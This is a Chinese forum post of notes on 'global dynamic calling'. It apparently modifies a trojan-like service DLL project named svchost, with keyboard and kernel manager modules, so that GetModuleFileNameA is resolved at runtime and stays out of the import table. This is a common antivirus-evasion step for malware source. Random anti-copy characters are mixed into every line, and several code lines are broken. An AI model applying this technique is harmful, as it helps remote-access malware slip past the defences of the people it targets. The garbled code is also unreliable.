返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记6 G0 p6 w: n: m* G& U4 y
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
) S# l5 p' {7 P# W----------------------------------------  V/ M% Y& n, C) `7 ]1 x
DTDY.h:
% z9 }% }. \& J; N( }2 [$ E5 F0 `2 ?- J# d' F0 o& ?
#if _MSC_VER>1000
9 Z: M1 C. F8 {6 U+ b#pragma once, g. C! R+ `3 }7 j" k, P2 m% d
#endif //_MSC_VER>10009 G; P( X- r7 {+ N  l
#include<windows.h>
" p& A" v' ?/ E& ?- ~3 g' \4 ?0 N6 D( P, j9 f' W! H
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
; ?% S: q: _5 @: Z2 p) u# M+ Yclass DTDY' \8 ]& |) Q2 l6 r# r9 V
{
9 d3 F% W4 ]$ K( B' m* Q0 H6 V: Cpublic:
( x4 Z- F$ I" jDTDY();) w% Y/ m+ \1 R7 A0 N
virtual ~DTDY();
8 o) @  I. O) ?3 u1 Spublic:
& i! O+ D* a0 B& P6 Jstatic pGetModuleFileNameA MyGetModuleFileName;: g) ~  q+ o( [/ c# C1 _0 r- D
static BOOL FunInitiallization();1 W8 ~+ ^/ w8 ~
};( ?3 ?" f+ \5 }! m7 y
#endif
( O( k: H- L3 \& q5 A----------------------------------------
6 Z  {' j& B# j/ V1 \) `* {- }3 l# }' h1 ]6 y& ^( o5 ?
DTDY.cpp:- V# q9 m% G' B

3 l: Z, r! Y$ O#include "DTDY.h"" Z. g8 g7 b. r" n
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;- o! ~$ T7 q" o' S4 a2 u
DTDY:TDY()
* c( V3 _9 G  k" A: S% P/ n# C{
& g% ]! S1 V7 S7 c& a& n# g}
# @* m4 b) {+ o; M! HDTDY::~DTDY()$ d) t* n+ x3 ]
{( }1 L( V$ j- d5 l% D
}
: L6 ?9 r6 o* f* x) `3 WBOOL DTDY::FunInitiallization()
5 d7 }$ N( X3 A* Z0 i  V5 Z( h& G{
, {2 b5 |$ l6 `3 _2 {5 `. H5 G0 v7 FHMODULE hModule=LoadLibrary("kernel32.dll");
+ x# D0 C+ @. T* S5 @! T& TMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
+ @* g% k+ g0 |9 G4 G( K* G# Tif(!MyGetModuleFileName=) return FALSE;5 Q, @4 |+ o9 {. F* e

$ H0 Q( q1 i: {3 T' p# x1 p9 freturn TRUE;
; o, |' j3 c: D8 q$ m% ~& y$ \}
- z! K0 Z; B/ _) R1 V+ D----------------------------------------. n* q/ b' D8 Y" V5 w
svchost.cpp:
/ |$ @) q' v# d9 m  A5 E& G; T
# ?  H7 d/ c/ n& q/ V, [#include "DTDY.h"! t8 G0 }- w+ G5 O0 W

3 _- o/ i1 S; m' wBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
& q4 P) l( l  \" W{
7 z1 v6 }# }/ ]# c4 h0 sswitch(ul_reason_for_call)0 l5 ~5 {  O4 @5 i) O1 _- d7 P1 e/ p
{. ]3 l7 Q; a( z/ }2 j6 ?6 Z0 m/ ]1 f
case DLL_PROCESS_ATTACH:/ D- G! A) a" L, t+ c/ `1 Z$ s
if(!DTDY::FunInitiallization()) return FALSE;, z+ l9 Y# F: A) f( w7 v
& c& @  K, _6 \  ]3 _
break;
  c- x( A# T4 P3 Y: S3 f}9 ?8 D5 J6 ^' ]
}
0 H6 B& k: V% D& G# J$ C; Y* l# M1 q: _9 o% R

( `) x4 j8 S# IGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def* B- W* x5 j' A/ O9 v1 W- b
改写为
4 ?! @0 H/ A& L: E+ l% n3 y3 [5 zDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
; }" R8 W3 t, Z4 c5 I% D% C----------------------------------------6 F/ @0 `8 ?( _" [8 ]
KernelManager.cpp:" z- t& o7 G/ \
# a3 T7 c5 N; T
#include "../DTDY.h"& b9 v# C2 n! p1 i0 @
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));4 i# X* T0 o% [" G
改写为
* r8 I* h( l$ u( u0 ~6 pDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));8 q% T7 v7 p6 K2 ]' r; j  v
----------------------------------------

返回列表